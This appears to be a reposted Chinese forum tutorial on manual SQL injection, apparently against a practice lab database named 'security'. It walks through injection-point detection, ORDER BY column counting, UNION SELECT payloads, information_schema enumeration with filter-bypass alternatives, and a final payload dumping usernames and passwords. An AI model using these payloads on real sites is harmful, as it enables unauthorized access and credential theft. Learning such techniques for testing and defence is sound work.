王國慶 发表于 2024-8-9 02:39:56

SQL手工注入

目次
1.判定是否存在sql注入点
1.1我们在地址栏中输入?id=1'
1.2我们在地址栏中输入?id'--+
2.联合查询
2.1首先知道表格有几列,如果报错就是凌驾列数,如果体现正常就是没有超出列数。
2.2爆出体现位,就是看看表格里面哪一列是在页面体现的
2.3获取当前数据名和版本号
2.4爆表
2.5爆字段名
2.6爆账号密码

1.判定是否存在sql注入点

https://i-blog.csdnimg.cn/direct/77fff44e2a374178acec3bd060579a4c.png
1.1我们在地址栏中输入?id=1'

https://i-blog.csdnimg.cn/direct/ed5c671de572468cb6cb7aa774058b5f.png
1.2我们在地址栏中输入?id'--+

https://i-blog.csdnimg.cn/direct/18365e34695e402bb89f2a6cdbb569aa.png
根据结果可判定出是字符型注入,该页面存在回显,以是我们可以利用联合查询
   1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面体现正常和原页面一样,而且1=2页面报错大概页面部门数据体现不正常,那么可以确定此处为数字型注入。
2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面体现正常和原页面一样,而且1=2页面报错大概页面部门数据体现不正常,那么可以确定此处为字符型注入。
2.联合查询

注意:联合查询两表之间列数必须雷同
2.1首先知道表格有几列,如果报错就是凌驾列数,如果体现正常就是没有超出列数。

?id=1'order by 4 --+ https://i-blog.csdnimg.cn/direct/5a8f4f48080b4a37a0ade7e16f0f8a66.png
?id=1'order by 3 --+ https://i-blog.csdnimg.cn/direct/3089236481b64f2db8b249aff54d0da4.png
根据结果可判定出此表有3列
2.2爆出体现位,就是看看表格里面哪一列是在页面体现的

?id=-1'union select 1,2,3--+ 注意:union查询时,如果左右双方都为真,则返回前者查询的结果,以是要让后面我们自己构造的查询语句回显的话,前面id必须填写一个查询不到的数,这里我填的是-1
https://i-blog.csdnimg.cn/direct/f9a2959e66fb4b10be61428602076fda.png
可以看到查询结果是在2和3的位置回显的,则可以将2和3替换为我们的查询语句。
2.3获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+ https://i-blog.csdnimg.cn/direct/91a8b7ffea314e07a7850b8a66d3ceea.png
通过结果知道当前表所处的数据库是security,版本是5.7.26
2.4爆表

   mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包罗了 库名,表名,列名。
在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .
这些数据库内的信息。如果information_schema库被过滤掉,还可以实验利用下述库来代替
   sys.schema_auto_increment_columns 
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ https://i-blog.csdnimg.cn/direct/17d70085f60e43888ea17e34c99d29dd.png
根据结果可知当前security库下有四张表,而且users表最有可能存放用户信息
2.5爆字段名

我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 此语句是查询information_schema数据库下的columns表里users的列名
注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
https://i-blog.csdnimg.cn/direct/85ae72e1ee684a46af9f0f42f8ea1041.png
通过上述操纵可以得到两个敏感字段就是username和password,最有可能存放用户的账号密码
2.6爆账号密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+ https://i-blog.csdnimg.cn/direct/00aec3807fa44b76ba0659ab5be2279b.png
如许我们就爆出各个用户的账号密码了,本次手工注入到此竣事。












免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: SQL手工注入